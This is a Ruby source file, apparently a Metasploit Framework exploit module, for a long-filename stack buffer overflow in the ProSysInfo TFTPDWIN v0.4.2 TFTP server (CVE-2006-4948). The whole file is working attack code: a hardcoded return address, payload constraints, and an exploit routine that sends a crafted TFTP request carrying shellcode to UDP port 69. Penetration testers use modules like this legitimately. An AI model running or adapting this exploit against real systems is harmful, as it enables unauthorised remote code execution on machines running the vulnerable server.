76 lines
1.8 KiB
Ruby
76 lines
1.8 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Tftp::TFTPDWIN_Long_Filename < Msf::Exploit::Remote
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include Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
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'Description' => %q{
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This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
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an overly long file name to the tftpd.exe server, the stack can be overwritten.
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},
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'Author' => [ 'patrick' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '20131' ],
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[ 'OSVDB', '29032' ],
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[ 'CVE', '2006-4948' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/3132' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 284,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
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[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
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],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 21 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(69),
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], self)
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end
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def exploit
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connect_udp
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print_status("Trying target #{target.name}...")
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sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
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sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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end
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